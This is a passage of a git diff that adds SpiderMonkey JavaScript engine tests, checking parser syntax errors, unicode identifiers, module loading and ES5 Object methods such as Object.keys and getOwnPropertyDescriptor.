+//-----------------------------------------------------------------------------
+var BUGNUMBER = 672854;
+var summary =
+ "Syntax errors at the end of |for| statement header parts shouldn't cause " +
+ "crashes";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function checkSyntaxError(str)
+{
+ try
+ {
+ var f = Function("for(w in\\");
+ throw new Error("didn't throw, returned " + f);
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "expected SyntaxError, got " + e);
+ }
+}
+
+checkSyntaxError("for(var w in \\");
+checkSyntaxError("for(w in \\");
+checkSyntaxError("for(var w\\");
+checkSyntaxError("for(w\\");
+checkSyntaxError("for(var w;\\");
+checkSyntaxError("for(w;\\");
+checkSyntaxError("for(var w; w >\\");
+checkSyntaxError("for(w; w >\\");
+checkSyntaxError("for(var w; w > 3;\\");
+checkSyntaxError("for(w; w > 3;\\");
+checkSyntaxError("for(var w; w > 3; 5\\");
+checkSyntaxError("for(w; w > 3; 5\\");
+checkSyntaxError("for(var w; w > 3; 5foo");
+checkSyntaxError("for(w; w > 3; 5foo");
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/misc/unicode-escaped-keyword.js b/js/src/tests/non262/misc/unicode-escaped-keyword.js
new file mode 100644
index 0000000000..e17df168c9
--- /dev/null
+++ b/js/src/tests/non262/misc/unicode-escaped-keyword.js
@@ -0,0 +1,22 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function throws(code) {
+ var type;
+ try {
+ eval(code);
+ } catch (ex) {
+ type = ex.name;
+ }
+ assertEq(type, 'SyntaxError');
+}
+
+var s = '\\u0073';
+throws('var thi' + s);
+throws('switch (' + s + 'witch) {}')
+throws('var ' + s + 'witch');
+
+if (typeof reportCompare == 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/misc/unicode-identifier-1d17.js b/js/src/tests/non262/misc/unicode-identifier-1d17.js
new file mode 100644
index 0000000000..ae763fdf27
--- /dev/null
+++ b/js/src/tests/non262/misc/unicode-identifier-1d17.js
@@ -0,0 +1,16 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var o = {}
+try {
+ eval('o.\\u1d17 = 42;');
+}
+catch (e) {
+ assertEq('should not fail', true);
+}
+assertEq(o['\u1d17'], 42);
+
+if (typeof reportCompare == 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/misc/unicode-identifier-82f1.js b/js/src/tests/non262/misc/unicode-identifier-82f1.js
new file mode 100644
index 0000000000..313832cc37
--- /dev/null
+++ b/js/src/tests/non262/misc/unicode-identifier-82f1.js
@@ -0,0 +1,16 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var o = {}
+try {
+ eval('o.\\u82f1 = 42;');
+}
+catch (e) {
+ assertEq('should not fail', true);
+}
+assertEq(o['\u82f1'], 42);
+
+if (typeof reportCompare == 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/misc/unnamed-function.js b/js/src/tests/non262/misc/unnamed-function.js
new file mode 100644
index 0000000000..3f9035a684
--- /dev/null
+++ b/js/src/tests/non262/misc/unnamed-function.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 376052;
+var summary = 'Unnamed function expressions are forbidden in statement context';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('(function () {1;})');
+ reportCompare(true, true,
+ "unnamed function expression not in statement context works");
+ }
+ catch(ex)
+ {
+ reportCompare(true, false, "threw exception: " + ex);
+ }
+
+ try
+ {
+ eval('function () {1;}');
+ reportCompare(true, false, "didn't throw an exception");
+ }
+ catch(ex)
+ {
+ reportCompare(ex instanceof SyntaxError, true,
+ "unnamed function expression not in statement context " +
+ "should have been a SyntaxError");
+ }
+}
diff --git a/js/src/tests/non262/misc/unwrapped-no-such-method.js b/js/src/tests/non262/misc/unwrapped-no-such-method.js
new file mode 100644
index 0000000000..d17406e7bb
--- /dev/null
+++ b/js/src/tests/non262/misc/unwrapped-no-such-method.js
@@ -0,0 +1,13 @@
+// Our __noSuchMethod__ handling should only be called when |this| is an object.
+
+var x = "";
+// Reached from interpreter's JSOP_CALLPROP, and js::mjit::ic::CallProp.
+try { x.i(); } catch (ex) { }
+
+// Reached from interpreter's JSOP_CALLELEM, and js::mjit::stubs::CallElem.
+try { x[x](); } catch (ex) { }
+
+// Reached from js::mjit::stubs::CallProp:
+try { true.i(); } catch(ex) { }
+
+reportCompare(true,true);
diff --git a/js/src/tests/non262/module/await-restricted-nested.js b/js/src/tests/non262/module/await-restricted-nested.js
new file mode 100644
index 0000000000..277b3a3489
--- /dev/null
+++ b/js/src/tests/non262/module/await-restricted-nested.js
@@ -0,0 +1,6 @@
+// |reftest| error:SyntaxError module
+
+// 'await' is always a keyword when parsing modules.
+function f() {
+ await;
+}
diff --git a/js/src/tests/non262/module/browser.js b/js/src/tests/non262/module/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/module/browser.js
diff --git a/js/src/tests/non262/module/bug1488117-empty.js b/js/src/tests/non262/module/bug1488117-empty.js
new file mode 100644
index 0000000000..8972f99fc7
--- /dev/null
+++ b/js/src/tests/non262/module/bug1488117-empty.js
@@ -0,0 +1,3 @@
+// |reftest| skip -- support file
+
+// Intentionally left empty.
diff --git a/js/src/tests/non262/module/bug1488117-import-namespace.js b/js/src/tests/non262/module/bug1488117-import-namespace.js
new file mode 100644
index 0000000000..bfb2c68577
--- /dev/null
+++ b/js/src/tests/non262/module/bug1488117-import-namespace.js
@@ -0,0 +1,3 @@
+// |reftest| skip -- support file
+
+import* as ns from "./bug1488117.js";
diff --git a/js/src/tests/non262/module/bug1488117.js b/js/src/tests/non262/module/bug1488117.js
new file mode 100644
index 0000000000..0ffe959545
--- /dev/null
+++ b/js/src/tests/non262/module/bug1488117.js
@@ -0,0 +1,14 @@
+// |reftest| module
+
+// Load and instantiate "bug1488117-import-namespace.js". "bug1488117-import-namespace.js"
+// contains an |import*| request for the current module, which triggers GetModuleNamespace for
+// this module. GetModuleNamespace calls GetExportedNames on the current module, which in turn
+// resolves and calls GetExportedNames on all |export*| entries.
+// And that means HostResolveImportedModule is called for "bug1488117-empty.js" before
+// InnerModuleInstantiation for "bug1488117.js" has resolved that module file.
+
+import "./bug1488117-import-namespace.js";
+export* from "./bug1488117-empty.js";
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/module/shell.js b/js/src/tests/non262/module/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/module/shell.js
diff --git a/js/src/tests/non262/object/15.2.3.12.js b/js/src/tests/non262/object/15.2.3.12.js
new file mode 100644
index 0000000000..00593a2409
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.12.js
@@ -0,0 +1,46 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Object.isFrozen */
+
+assertEq(Object.isFrozen({}), false);
+
+assertEq(Object.isFrozen(Object.preventExtensions({})), true);
+
+var o = Object.defineProperty({}, 'x', { writable:true, configurable:true });
+Object.preventExtensions(o);
+assertEq(Object.isFrozen(o), false);
+
+var o = Object.defineProperty({}, 'x', { writable:false, configurable:true });
+Object.preventExtensions(o);
+assertEq(Object.isFrozen(o), false);
+
+var o = Object.defineProperty({}, 'x', { writable:true, configurable:false });
+Object.preventExtensions(o);
+assertEq(Object.isFrozen(o), false);
+
+var o = Object.defineProperty({}, 'x', { writable:false, configurable:false });
+assertEq(Object.isFrozen(o), false);
+
+var o = Object.defineProperty({}, 'x', { writable:false, configurable:false });
+Object.preventExtensions(o);
+assertEq(Object.isFrozen(o), true);
+
+var o = Object.defineProperties({}, { x: { writable:true, configurable:true },
+ y: { writable:false, configurable:false } });
+Object.preventExtensions(o);
+assertEq(Object.isFrozen(o), false);
+
+var o = Object.defineProperties({}, { x: { writable:false, configurable:false },
+ y: { writable:true, configurable:true } });
+Object.preventExtensions(o);
+assertEq(Object.isFrozen(o), false);
+
+var o = Object.defineProperties({}, { x: { writable:true, configurable:true },
+ y: { writable:true, configurable:true } });
+Object.preventExtensions(o);
+assertEq(Object.isFrozen(o), false);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/object/15.2.3.14-01.js b/js/src/tests/non262/object/15.2.3.14-01.js
new file mode 100644
index 0000000000..6cb8965a6c
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.14-01.js
@@ -0,0 +1,92 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 307791;
+var summary = 'ES5 Object.keys(O)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+function arraysEqual(a1, a2)
+{
+ return a1.length === a2.length &&
+ a1.every(function(v, i) { return v === a2[i]; });
+}
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(Object.keys.length, 1);
+
+var o, keys;
+
+o = { a: 3, b: 2 };
+keys = Object.keys(o);
+assertEq(arraysEqual(keys, ["a", "b"]), true,
+ "" + keys);
+
+o = { get a() { return 17; }, b: 2 };
+keys = Object.keys(o),
+assertEq(arraysEqual(keys, ["a", "b"]), true,
+ "" + keys);
+
+o = { __iterator__: function() { throw new Error("non-standard __iterator__ called?"); } };
+keys = Object.keys(o);
+assertEq(arraysEqual(keys, ["__iterator__"]), true,
+ "" + keys);
+
+o = { a: 1, b: 2 };
+delete o.a;
+o.a = 3;
+keys = Object.keys(o);
+assertEq(arraysEqual(keys, ["b", "a"]), true,
+ "" + keys);
+
+o = [0, 1, 2];
+keys = Object.keys(o);
+assertEq(arraysEqual(keys, ["0", "1", "2"]), true,
+ "" + keys);
+
+o = /./.exec("abc");
+keys = Object.keys(o);
+assertEq(arraysEqual(keys, ["0", "index", "input", "groups"]), true,
+ "" + keys);
+
+o = { a: 1, b: 2, c: 3 };
+delete o.b;
+o.b = 5;
+keys = Object.keys(o);
+assertEq(arraysEqual(keys, ["a", "c", "b"]), true,
+ "" + keys);
+
+function f() { }
+f.prototype.p = 1;
+o = new f();
+o.g = 1;
+keys = Object.keys(o);
+assertEq(arraysEqual(keys, ["g"]), true,
+ "" + keys);
+
+if (typeof Namespace !== "undefined" && typeof QName !== "undefined")
+{
+ var o2 = {};
+ var qn = new QName(new Namespace("foo"), "v");
+ o2.f = 1;
+ o2[qn] = 3;
+ o2.baz = 4;
+ var keys2 = Object.keys(o2);
+ assertEq(arraysEqual(keys2, ["f", "foo::v", "baz"]), true,
+ "" + keys2);
+}
+
+/******************************************************************************/
+
+reportCompare(expect, actual, "Object.keys");
+
+printStatus("All tests passed!");
diff --git a/js/src/tests/non262/object/15.2.3.3-01.js b/js/src/tests/non262/object/15.2.3.3-01.js
new file mode 100644
index 0000000000..ed94a14f4a
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.3-01.js
@@ -0,0 +1,285 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 505587;
+var summary = 'ES5 Object.getOwnPropertyDescriptor(O)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function assertEq(a, e, msg)
+{
+ function SameValue(v1, v2)
+ {
+ if (v1 === 0 && v2 === 0)
+ return 1 / v1 === 1 / v2;
+ if (v1 !== v1 && v2 !== v2)
+ return true;
+ return v1 === v2;
+ }
+
+ if (!SameValue(a, e))
+ {
+ var stack = new Error().stack || "";
+ throw "Assertion failed: got " + a + ", expected " + e +
+ (msg ? ": " + msg : "") +
+ (stack ? "\nStack:\n" + stack : "");
+ }
+}
+
+function expectDescriptor(actual, expected)
+{
+ if (actual === undefined && expected === undefined)
+ return;
+
+ assertEq(typeof actual, "object");
+ assertEq(typeof expected, "object");
+
+ var fields =
+ {
+ value: true,
+ get: true,
+ set: true,
+ enumerable: true,
+ writable: true,
+ configurable: true
+ };
+ for (var p in fields)
+ assertEq(actual.hasOwnProperty(p), expected.hasOwnProperty(p), p);
+ for (var p in actual)
+ assertEq(p in fields, true, p);
+ for (var p in expected)
+ assertEq(p in fields, true, p);
+
+ assertEq(actual.hasOwnProperty("value"), actual.hasOwnProperty("writable"));
+ assertEq(actual.hasOwnProperty("get"), actual.hasOwnProperty("set"));
+ if (actual.hasOwnProperty("value"))
+ {
+ assertEq(actual.value, expected.value);
+ assertEq(actual.writable, expected.writable);
+ }
+ else
+ {
+ assertEq(actual.get, expected.get);
+ assertEq(actual.set, expected.set);
+ }
+
+ assertEq(actual.hasOwnProperty("enumerable"), true);
+ assertEq(actual.hasOwnProperty("configurable"), true);
+ assertEq(actual.enumerable, expected.enumerable);
+ assertEq(actual.configurable, expected.configurable);
+}
+
+function adjustDescriptorField(o, actual, expect, field)
+{
+ assertEq(field === "get" || field === "set", true);
+ var lookup = "__lookup" + (field === "get" ? "G" : "S") + "etter";
+ if (typeof o[lookup] === "function")
+ expect[field] = o[lookup](field);
+ else
+ actual[field] = expect[field] = undefined; /* censor if we can't lookup */
+}
+
+/******************************************************************************/
+
+var o, pd, expected;
+
+o = { get x() { return 12; } };
+
+pd = Object.getOwnPropertyDescriptor(o, "x");
+expected =
+ {
+ set: undefined,
+ enumerable: true,
+ configurable: true
+ };
+adjustDescriptorField(o, pd, expected, "get");
+
+expectDescriptor(pd, expected);
+
+/******************************************************************************/
+
+var o2;
+
+o = Object.create(Object.prototype, { x: {get: function () { return 12; } } });
+
+pd = Object.getOwnPropertyDescriptor(o, "x");
+expected =
+ {
+ set: undefined,
+ enumerable: false,
+ configurable: false
+ };
+adjustDescriptorField(o, pd, expected, "get");
+
+expectDescriptor(pd, expected);
+
+o2 = Object.create(o);
+assertEq(Object.getOwnPropertyDescriptor(o2, "x"), undefined);
+
+/******************************************************************************/
+
+o = {};
+o.b = 12;
+
+pd = Object.getOwnPropertyDescriptor(o, "b");
+expected =
+ {
+ value: 12,
+ writable: true,
+ enumerable: true,
+ configurable: true
+ };
+expectDescriptor(pd, expected);
+
+/******************************************************************************/
+
+o = { get y() { return 17; }, set y(z) { } };
+
+pd = Object.getOwnPropertyDescriptor(o, "y");
+expected =
+ {
+ enumerable: true,
+ configurable: true
+ };
+adjustDescriptorField(o, pd, expected, "get");
+adjustDescriptorField(o, pd, expected, "set");
+
+expectDescriptor(pd, expected);
+
+/******************************************************************************/
+
+o = {};
+
+pd = Object.getOwnPropertyDescriptor(o, "absent");
+
+expectDescriptor(pd, undefined);
+
+/******************************************************************************/
+
+pd = Object.getOwnPropertyDescriptor([], "length");
+expected =
+ {
+ value: 0,
+ writable: true,
+ enumerable: false,
+ configurable: false
+ };
+
+expectDescriptor(pd, expected);
+
+pd = Object.getOwnPropertyDescriptor([1], "length");
+expected =
+ {
+ value: 1,
+ writable: true,
+ enumerable: false,
+ configurable: false
+ };
+
+expectDescriptor(pd, expected);
+
+pd = Object.getOwnPropertyDescriptor([1,], "length");
+expected =
+ {
+ value: 1,
+ writable: true,
+ enumerable: false,
+ configurable: false
+ };
+
+expectDescriptor(pd, expected);
+
+pd = Object.getOwnPropertyDescriptor([1,,], "length");
+expected =
+ {
+ value: 2,
+ writable: true,
+ enumerable: false,
+ configurable: false
+ };
+
+expectDescriptor(pd, expected);
+
+/******************************************************************************/
+
+pd = Object.getOwnPropertyDescriptor(new String("foobar"), "length");
+expected =
+ {
+ value: 6,
+ writable: false,
+ enumerable: false,
+ configurable: false
+ };
+
+expectDescriptor(pd, expected);
+
+/******************************************************************************/
+
+function foo() { }
+o = foo;
+
+pd = Object.getOwnPropertyDescriptor(o, "length");
+expected =
+ {
+ value: 0,
+ writable: false,
+ enumerable: false,
+ configurable: true
+ };
+
+expectDescriptor(pd, expected);
+
+pd = Object.getOwnPropertyDescriptor(o, "prototype");
+expected =
+ {
+ value: foo.prototype,
+ writable: true,
+ enumerable: false,
+ configurable: false
+ };
+
+expectDescriptor(pd, expected);
+
+/******************************************************************************/
+
+pd = Object.getOwnPropertyDescriptor(Function, "length");
+expected =
+ {
+ value: 1,
+ writable: false,
+ enumerable: false,
+ configurable: true
+ };
+
+expectDescriptor(pd, expected);
+
+/******************************************************************************/
+
+o = /foo/im;
+
+pd = Object.getOwnPropertyDescriptor(o, "lastIndex");
+expected =
+ {
+ value: 0,
+ writable: true,
+ enumerable: false,
+ configurable: false
+ };
+
+expectDescriptor(pd, expected);
+
+/******************************************************************************/
+
+reportCompare(expect, actual, "Object.getOwnPropertyDescriptor");
+
+printStatus("All tests passed");
diff --git a/js/src/tests/non262/object/15.2.3.4-01.js b/js/src/tests/non262/object/15.2.3.4-01.js
new file mode 100644
index 0000000000..3a84f0b667
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.4-01.js
@@ -0,0 +1,30 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 518663;
+var summary =
+ 'Object.getOwnPropertyNames should play nicely with enumerator caching';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+for (var p in JSON);
+var names = Object.getOwnPropertyNames(JSON);
+assertEq(names.length >= 2, true,
+ "wrong number of property names? [" + names + "]");
+assertEq(names.indexOf("parse") >= 0, true);
+assertEq(names.indexOf("stringify") >= 0, true);
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/15.2.3.4-02.js b/js/src/tests/non262/object/15.2.3.4-02.js
new file mode 100644
index 0000000000..b5e0842c26
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.4-02.js
@@ -0,0 +1,52 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 518663;
+var summary = 'Object.getOwnPropertyNames: array objects';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var a, names, expected;
+
+function arraysEqual(a1, a2)
+{
+ return a1.length === a2.length &&
+ a1.every(function(v, i) { return v === a2[i]; });
+}
+
+
+a = [0, 1, 2];
+
+names = Object.getOwnPropertyNames(a).sort();
+expected = ["0", "1", "2", "length"].sort();
+
+a = [1, , , 7];
+a.p = 2;
+Object.defineProperty(a, "q", { value: 42, enumerable: false });
+
+names = Object.getOwnPropertyNames(a).sort();
+expected = ["0", "3", "p", "q", "length"].sort();
+assertEq(arraysEqual(names, expected), true);
+
+
+a = [];
+
+names = Object.getOwnPropertyNames(a).sort();
+expected = ["length"];
+assertEq(arraysEqual(names, expected), true);
+
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/15.2.3.4-03.js b/js/src/tests/non262/object/15.2.3.4-03.js
new file mode 100644
index 0000000000..55dcc139c5
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.4-03.js
@@ -0,0 +1,55 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 518663;
+var summary = 'Object.getOwnPropertyNames: function objects';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function two(a, b) { }
+
+assertEq(Object.getOwnPropertyNames(two).indexOf("length") >= 0, true);
+
+var bound0 = Function.prototype.bind
+ ? two.bind("this")
+ : function two(a, b) { };
+
+assertEq(Object.getOwnPropertyNames(bound0).indexOf("length") >= 0, true);
+assertEq(bound0.length, 2);
+
+var bound1 = Function.prototype.bind
+ ? two.bind("this", 1)
+ : function one(a) { };
+
+assertEq(Object.getOwnPropertyNames(bound1).indexOf("length") >= 0, true);
+assertEq(bound1.length, 1);
+
+var bound2 = Function.prototype.bind
+ ? two.bind("this", 1, 2)
+ : function zero() { };
+
+assertEq(Object.getOwnPropertyNames(bound2).indexOf("length") >= 0, true);
+assertEq(bound2.length, 0);
+
+var bound3 = Function.prototype.bind
+ ? two.bind("this", 1, 2, 3)
+ : function zero() { };
+
+assertEq(Object.getOwnPropertyNames(bound3).indexOf("length") >= 0, true);
+assertEq(bound3.length, 0);
+
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/15.2.3.4-04.js b/js/src/tests/non262/object/15.2.3.4-04.js
new file mode 100644
index 0000000000..2561c7affc
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.4-04.js
@@ -0,0 +1,31 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 518663;
+var summary = 'Object.getOwnPropertyNames: regular expression objects';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var actual = Object.getOwnPropertyNames(/a/);
+var expected = ["lastIndex"];
+
+for (var i = 0; i < expected.length; i++)
+{
+ reportCompare(actual.indexOf(expected[i]) >= 0, true,
+ expected[i] + " should be a property name on a RegExp");
+}
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/15.2.3.5-01.js b/js/src/tests/non262/object/15.2.3.5-01.js
new file mode 100644
index 0000000000..70cfd64f59
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.5-01.js
@@ -0,0 +1,60 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 492840;
+var summary = 'ES5 Object.create(O [, Properties])';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq("create" in Object, true);
+assertEq(Object.create.length, 2);
+
+var o, desc, props, proto;
+
+o = Object.create(null);
+assertEq(Object.getPrototypeOf(o), null, "bad null-proto");
+
+o = Object.create(null, { a: { value: 17, enumerable: false } });
+assertEq(Object.getPrototypeOf(o), null, "bad null-proto");
+assertEq("a" in o, true);
+desc = Object.getOwnPropertyDescriptor(o, "a");
+assertEq(desc !== undefined, true, "no descriptor?");
+assertEq(desc.value, 17);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+assertEq(desc.writable, false);
+
+props = Object.create({ bar: 15 });
+Object.defineProperty(props, "foo", { enumerable: false, value: 42 });
+proto = { baz: 12 };
+o = Object.create(proto, props);
+assertEq(Object.getPrototypeOf(o), proto);
+assertEq(Object.getOwnPropertyDescriptor(o, "foo"), undefined);
+assertEq("foo" in o, false);
+assertEq(Object.getOwnPropertyDescriptor(o, "bar"), undefined);
+assertEq("bar" in o, false);
+assertEq(Object.getOwnPropertyDescriptor(o, "baz"), undefined);
+assertEq(o.baz, 12);
+assertEq(o.hasOwnProperty("baz"), false);
+
+try {
+ var actual =
+ Object.create(Object.create({},
+ { boom: { get: function() { return "base"; }}}),
+ { boom: { get: function() { return "overridden"; }}}).boom
+} catch (e) {
+}
+assertEq(actual, "overridden");
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/15.2.3.6-define-over-method.js b/js/src/tests/non262/object/15.2.3.6-define-over-method.js
new file mode 100644
index 0000000000..1cc9e13e14
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-define-over-method.js
@@ -0,0 +1,24 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 568786;
+var summary =
+ 'Do not assert: !(attrs & (JSPROP_GETTER | JSPROP_SETTER)) with ' +
+ 'Object.defineProperty';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var o = { x: function(){} };
+Object.defineProperty(o, "x", { get: function(){} });
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-01-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-01-of-32.js
new file mode 100644
index 0000000000..aea3a41f92
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-01-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(1, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-02-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-02-of-32.js
new file mode 100644
index 0000000000..833ecfe937
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-02-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(2, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-03-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-03-of-32.js
new file mode 100644
index 0000000000..2f4673c49d
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-03-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(3, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-04-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-04-of-32.js
new file mode 100644
index 0000000000..7b2b89c878
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-04-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(4, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-05-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-05-of-32.js
new file mode 100644
index 0000000000..87bed4dbe2
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-05-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(5, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-06-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-06-of-32.js
new file mode 100644
index 0000000000..16b16d22d6
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-06-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(6, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-07-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-07-of-32.js
new file mode 100644
index 0000000000..2a0509c30a
--- /dev/null
+++ b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-07-of-32.js
@@ -0,0 +1,6 @@
+// |reftest| slow skip-if(!xulRuntime.shell) -- uses shell load() function
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+loadRelativeToScript("defineProperty-setup.js");
+runDictionaryPropertyPresentTestsFraction(7, 32);
diff --git a/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-08-of-32.js b/js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-08-of-32.js
new file mode 100644
index 0000000000..7d49565b44
